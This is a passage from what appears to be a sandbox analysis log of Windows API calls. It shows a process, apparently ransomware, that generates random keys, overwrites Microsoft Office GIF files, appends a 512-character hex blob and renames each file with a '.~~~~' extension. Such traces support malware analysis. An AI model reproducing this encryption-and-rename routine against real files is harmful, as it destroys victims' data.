	[0126.981] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif.~~~~")) returned 1
	[0126.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3bd8 | out: hHeap=0x300000) returned 1
	[0126.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.982] GetLastError () returned 0x0
	[0127.009] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0127.010] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.010] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0127.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0127.010] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24700020689) returned 1
	[0127.010] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb528bd10, dwHighDateTime=0x1d60e1e)) 
	[0127.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0127.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0127.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0127.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821e10
	[0127.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821e10 | out: hHeap=0x300000) returned 1
	[0127.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3ae0e8
	[0127.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3b30
	[0127.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae0e8 | out: hHeap=0x300000) returned 1
	[0127.011] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3b30 | out: hHeap=0x300000) returned 1
	[0127.011] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0127.011] GetLastError () returned 0x0
	[0127.011] GetLastError () returned 0x0
	[0127.012] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0127.012] GetLastError () returned 0x0
	[0127.012] GetLastError () returned 0x0
	[0127.013] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffee6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.013] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x11a, lpOverlapped=0x0) returned 1
	[0127.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.014] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.014] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.015] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.015] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.015] CloseHandle (hObject=0xc4) returned 1
	[0127.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3b30
	[0127.015] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10335_.gif.~~~~")) returned 1
	[0127.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3b30 | out: hHeap=0x300000) returned 1
	[0127.016] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0127.016] GetLastError () returned 0x0
	[0127.019] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0127.020] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.020] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.020] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0127.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0127.020] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24701046514) returned 1
	[0127.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb528bd10, dwHighDateTime=0x1d60e1e)) 
	[0127.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0127.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0127.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0127.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821e48
	[0127.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821e48 | out: hHeap=0x300000) returned 1
	[0127.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3ae0e8
	[0127.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f35f0
	[0127.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae0e8 | out: hHeap=0x300000) returned 1
	[0127.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.021] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f35f0 | out: hHeap=0x300000) returned 1
	[0127.021] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0127.021] GetLastError () returned 0x0
	[0127.021] GetLastError () returned 0x0
	[0127.022] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0127.022] GetLastError () returned 0x0
	[0127.022] GetLastError () returned 0x0
	[0127.023] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.023] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xce, lpOverlapped=0x0) returned 1
	[0127.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.025] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.025] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.025] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.025] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.025] CloseHandle (hObject=0x128) returned 1
	[0127.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f35f0
	[0127.025] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14513_.gif.~~~~")) returned 1
	[0127.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f35f0 | out: hHeap=0x300000) returned 1
	[0127.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0127.026] GetLastError () returned 0x0
	[0127.027] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0127.028] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.028] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0127.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0127.028] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24701818122) returned 1
	[0127.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb52b1e70, dwHighDateTime=0x1d60e1e)) 
	[0127.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0127.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0127.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0127.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821e80
	[0127.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821e80 | out: hHeap=0x300000) returned 1
	[0127.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3ae0e8
	[0127.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3dd0
	[0127.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae0e8 | out: hHeap=0x300000) returned 1
	[0127.029] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.029] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3dd0 | out: hHeap=0x300000) returned 1
	[0127.029] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0127.029] GetLastError () returned 0x0
	[0127.029] GetLastError () returned 0x0
	[0127.029] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0127.029] GetLastError () returned 0x0
	[0127.029] GetLastError () returned 0x0
	[0127.031] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.031] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xb3, lpOverlapped=0x0) returned 1
	[0127.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.032] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.032] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.032] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.032] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.032] CloseHandle (hObject=0x128) returned 1
	[0127.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3dd0
	[0127.033] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif.~~~~")) returned 1
	[0127.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3dd0 | out: hHeap=0x300000) returned 1
	[0127.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0127.447] GetLastError () returned 0x0
	[0127.447] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0127.448] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.448] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.448] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0127.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0127.448] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24743835188) returned 1
	[0127.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb56b6390, dwHighDateTime=0x1d60e1e)) 
	[0127.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0127.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0127.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0127.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6998
	[0127.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6998 | out: hHeap=0x300000) returned 1
	[0127.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa700
	[0127.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc960
	[0127.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa700 | out: hHeap=0x300000) returned 1
	[0127.449] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0127.449] GetLastError () returned 0x0
	[0127.449] GetLastError () returned 0x0
	[0127.449] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0127.449] GetLastError () returned 0x0
	[0127.449] GetLastError () returned 0x0
	[0127.452] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff44, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.452] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xbc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0xbc, lpOverlapped=0x0) returned 1
	[0127.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.454] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.454] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.454] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.455] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.455] CloseHandle (hObject=0x128) returned 1
	[0127.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa700
	[0127.455] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14753_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14753_.gif.~~~~")) returned 1
	[0127.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa700 | out: hHeap=0x300000) returned 1
	[0127.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0127.461] GetLastError () returned 0x0
	[0127.461] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0127.462] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.462] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0127.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0127.462] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24745260984) returned 1
	[0127.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb56dc4f0, dwHighDateTime=0x1d60e1e)) 
	[0127.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0127.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0127.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0127.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6a08
	[0127.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6a08 | out: hHeap=0x300000) returned 1
	[0127.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1f48
	[0127.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.463] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1f48 | out: hHeap=0x300000) returned 1
	[0127.463] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0127.463] GetLastError () returned 0x0
	[0127.464] GetLastError () returned 0x0
	[0127.464] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0127.464] GetLastError () returned 0x0
	[0127.464] GetLastError () returned 0x0
	[0127.465] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff50, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.465] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0xb0, lpOverlapped=0x0) returned 1
	[0127.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.467] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.467] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
